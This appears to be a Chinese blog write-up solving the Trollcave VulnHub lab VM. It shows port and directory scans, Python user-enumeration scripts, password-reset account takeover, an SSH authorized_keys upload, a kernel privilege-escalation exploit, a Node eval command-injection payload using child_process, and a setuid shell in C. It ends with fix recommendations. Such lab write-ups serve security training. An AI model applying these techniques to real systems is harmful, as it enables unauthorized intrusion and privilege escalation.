1. 首页
  2. 靶场测试

【原创】靶机测试系列教程 trollcave

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

mOon

这篇是一个技术文档 看不懂 先看录像。

【原创】靶机测试系列教程 trollcave

1.介绍


1.1 第一个二维码是 QQ 群 晚上有时间会给群内成员直播如何测试靶机安全,如想观看学习
的先加上群。
1.2 第二个是我个人的微信 有需要的加下把,直播的时候会有通知。
1.3 第三 视频录像会放在票圈长视频。
2.靶机介绍
https://www.vulnhub.com/entry/trollcave-12,230/
Name: Trollcave: 1.2
Date release: 21 Mar 2018
Author: David Yates
Series: Trollcave
Web page: https://davidyat.es/2017/11/27/announcing-trollcave/
只需要读取 root/flag.txt

3.收集信息


3.1 nmap 扫描
nmap -sV -sC -p- 192.168.0.149 -oA trollcave-allports
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-11 22:48 AKST
Nmap scan report for 192.168.0.149
Host is up (0.0028s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:ab:d7:2e:58:74:aa:86:28:dd:98:77:2f:53:d9:73 (RSA)
| 256 57:5e:f4:77:b3:94:91:7e:9c:55:26:30:43:64:b1:72 (ECDSA)
|_ 256 17:4d:7b:04:44:53:d1:51:d2:93:e9:50:e0:b2:20:4c (ED25519)
80/tcp open http nginx 1.10.3 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Trollcave
MAC Address: 40:A5:EF:46:69:0A (Shenzhen Four Seas Global Link Network Technology)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.48 seconds

3.2 gobuster 扫描 80 端口


gobuster dir -u http://192.168.0.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
/login (Status: 200)
/register (Status: 302)
/comments (Status: 302)
/users (Status: 302)
/reports (Status: 302)
/admin (Status: 302)
/404 (Status: 200)
/500 (Status: 200)
/422 (Status: 200)
/inbox (Status: 302)

3.1 收集用户信息

【原创】靶机测试系列教程 trollcave
【原创】靶机测试系列教程 trollcave

访问 /admin/ 会自动跳转到 /login /login 是用户登录的登录的页面
第一张图片是网站的文章 可以看到 king 这个账号是超级管理员(superadmin)
网页的右边是其他用户,经访问发线这些用户的称谓有些不一样。经测试用户登录随便一个
密码会有提示。

3.2 编写脚本
3.2.1 首先是用户信息的获取
遍历每个用户的用户名和角色

[php]
#coding:utf-8
import requests
import re
def get_user(id):
req = requests.get(url=’http://192.168.0.149/users/%s’ % (id),timeout=6).text
#match <h1>anybodyhome’s page</h1>
username=re.search(‘<h1>(.*?)\’s’,req).group(1)
#match "user-info"><b>Superadmin</b>
#userlevel=re.search(‘>\x0A<b>\x0A(.*?)\x0A</b>’,req).group(1)
userlevel=re.search(‘>\s<b>\s(.*?)\s</b>’,req).group(1)
return username,userlevel
for i in range(0,20):
try:
username,userlevel = get_user(i)
print(username+’:’+userlevel)
except:
None
[/php]

【原创】靶机测试系列教程 trollcave

3.2.2 编写提示脚本
编写提示脚本 主要是获取登录的提示信息。

[php]
#coding:utf-8
import requests
import re
def get_user(id):
req = requests.get(url=’http://192.168.0.149/users/%s’ % (id),timeout=6).text
#match <h1>anybodyhome’s page</h1>
username=re.search(‘<h1>(.*?)\’s’,req).group(1)
#match "user-info"><b>Superadmin</b>
#userlevel=re.search(‘>\x0A<b>\x0A(.*?)\x0A</b>’,req).group(1)
return username
def get_notice(username):
cookie={‘_thirtytwo_session’:’VWpYUmtQUzVoT2x1SERzUGFuNUhTUXo0RGt1WUJnaDM4TXZyZ3JqMU1mYkNKa0
1TL3JZTGNiNllDNmp5bVZTLzBObVA0bERta2t1SXdMdmRudGFaaW1YL1ZncVU3clh5YjZVK1EwMCs0SlQ5Z3hndnMz
dm5TQ2g2S3ZKMk5Vc3QzRUJsNWRlZWdZSVFXaTJDQ1Mxd2w5bklwQXFJeElZNms3Y1VCTzlSVHV4Zk9jNmhQdnpq
a29aL3JaWEh3U01seGdNS3FNdzJPclJMcURYWWxJUWFNREcvekRUTENJeHVFTUwyRDEwWFZ3VjRRQmFXdUZ0NE
MyVy95MzRKUUpjQS0tdEFDdEZWL2h4MlpmeUtDWUxodGZEUT09–d8e01921a299c185fa5e90de8f28d4615cc40
188′}
data=
{‘authenticity_token’:’9hYan0a3C+lNSC57E9X6JwN6D8ddQomgwj4Ya8X2tSFSSXL5zwLI62CZAmjH2oRpNpGsnRnp9
Db3Znws5XY2WA==’,’session[name]’:username,’session[password]’:’moonsec’,’commit’:’Log in’}
req = requests.post(url="http://192.168.0.149/login",data=data,cookies=cookie).text
#notice’>fave pronoun<
notice= re.search(‘notice\’>(.*?)<‘,req).group(1)
return username,notice
for i in range(0,20):
try:
username,notice =get_notice( get_user(i))
print(username+’\t’+notice)
except:
None
[/php]

【原创】靶机测试系列教程 trollcave

3.3.1 确定源码
根据文章的资料 我们可以发现 确定网站的程序是 rails
https://github.com/rails/rails
安装的时候会创建用户 rails
从文章得 网站有一个重置密码的功能 但是没有链接提交。
https://oomake.com/question/2399179

3.3.2 修改密码
http://192.168.0.149/password_resets/new

【原创】靶机测试系列教程 trollcave

设置 xer 的密码后登录之后发现权限不高。上传文件没法使用。
3.3.3 修改 king 密码
尝试修改权限为 superadmin king 发现不能重置密码 但是可以 用 xer 重置密码后 用户改为 King 即可
http://192.168.0.149/password_resets/edit.eENtR7ARv_bGOYbiX6Sikw?name=King

【原创】靶机测试系列教程 trollcave

3.3.4 上传文件覆盖
登录之后发现上传文件 但是不允许上传 在控制面板把上传限制打开,这样就可以上传文件。上传 php
但是网站不解释 php 文件,但是发现上传的文件可以上传到其他目录。因为可以试试 rails 用户是否存在
如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh

【原创】靶机测试系列教程 trollcave

3.3.5 生成 ssh 密钥
ssh-keygen -f rails
mv rails.pub authorized_key
将 authorized_key 上传到/home/rails/.ssh/

【原创】靶机测试系列教程 trollcave

3.3.6 ssh 登录目标
mv rails id_rsa-rails
chmod 600 id_rsa-rails
ssh -i id_rsa-rails rails@192.168.0.149

【原创】靶机测试系列教程 trollcave

4.特权提升


4.1 通过 cat /etc/lsb-release 得出 Ubuntu 的版本

【原创】靶机测试系列教程 trollcave

4.2 cve-2017-16995 提权
https://www.exploit-db.com/exploits/45010
目标上没有 gcc which gcc
本地编译 gcc cve-2017-16995.c -o cve

【原创】靶机测试系列教程 trollcave

已经成功提权到 root


5.获取 flag.txt

【原创】靶机测试系列教程 trollcave

6.通过其他途径提权


6.1 查看网络信息
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 853/ruby2.3
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN –
tcp 0 0 127.0.0.1:8888 0.0.0.0:* LISTEN –
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN –
tcp6 0 0 :::22 :::* LISTEN –
tcp6 0 0 ::1:5432 :::* LISTEN –
端口 5432 8888 只允许本地访问。
5432 是 PostgreSQL 数据库 需要账号和密码
8888 目前还不知道是什么应用
6.2 数据库信息获取
/ var/www/trollcave/config

【原创】靶机测试系列教程 trollcave

psql 账号和密码
tc sowvillagedinnermoment
这个目录发现有 sqlite3
/var/www/trollcave/db$

【原创】靶机测试系列教程 trollcave

6.3 sqlite 信息搜索
sqlite3 development.sqlite3
select * from users

【原创】靶机测试系列教程 trollcave

6.4 访问 PostgreSQL
-L 5432:localhost:5432
使用 dbeaver 连接本地 5432 端口 访问发觉里面没有任何表

【原创】靶机测试系列教程 trollcave

6.5 访问 8888 端口
继续在 ssh 做本地转发。
-L 8888:localhost:8888

【原创】靶机测试系列教程 trollcave

6.6 notejs 代码执行漏洞
查找 calc 文件
find / -name calc -print 2>&1| grep -v “Permission denied”

【原创】靶机测试系列教程 trollcave

[php]
function calc(pathname, request, query, response)
{
sum = query.split(‘=’)[1];
console.log(sum)
response.writeHead(200, {"Content-Type": "text/plain"});
response.end(eval(sum).toString());
}

[/php]

eval 会对代码进行执行 类型于 php 的 eval 函数一样

【原创】靶机测试系列教程 trollcave

6.7 利用方法
require(‘child_process’).exec(”)
calc?sum=require(‘child_process’).exec(‘cat+/etc/passwd+>/tmp/passwd’)

经过多方测试 很多命令都不能执行 只有简单的命令能用。

【原创】靶机测试系列教程 trollcave

创建文件大小为空但是可以看到用户为 king
6.8 创建 sh 文件
创建 1.sh 把权限设置为 755 即 king 用户都可以执行

!/bin/sh

cat /etc/passwd >/tmp/pass

【原创】靶机测试系列教程 trollcave

能创建文件并且能写入文件就好办了。


7.创建 setuid


7.1 setuid 创建
查看的/etc/passwd 发现 kind 的 id 为

[php]
king:x:1000:1000:King,,,:/home/king:/bin/bash
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
int main(int argc,char *argv[])
{
setreuid(1000,1000);
execve("/bin/sh",NULL,NULL);
}
[/php]

本地编译后移动到目标上

【原创】靶机测试系列教程 trollcave

7.2 设置 S 权限
更改用为 king 用户组

!/bin/sh

cp /tmp/1 /tmp/2

chown king:king /tmp/1

chmod 4755 /tmp/2

【原创】靶机测试系列教程 trollcave

执行 2 文件 即能获取 king 用户权限

【原创】靶机测试系列教程 trollcave

7.3 提权到 root
sudo -l 查看当前权限发现 (ALL) NOPASSWD: ALL 没有设置密码
sudo su –

【原创】靶机测试系列教程 trollcave
【原创】靶机测试系列教程 trollcave
【原创】靶机测试系列教程 trollcave

8 修复方案
1.ubuntu16.04 升级到最新版本。
2.king 用户 配置/etc/sudoers 中去掉。
3.rails 程序升级。
4.notejs eval 修复
5.问题太多 建议下线处理。

原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/651.html

联系我们

400-800-8888

在线咨询:点击这里给我发消息

邮件:admin@example.com

工作时间:周一至周五,9:30-18:30,节假日休息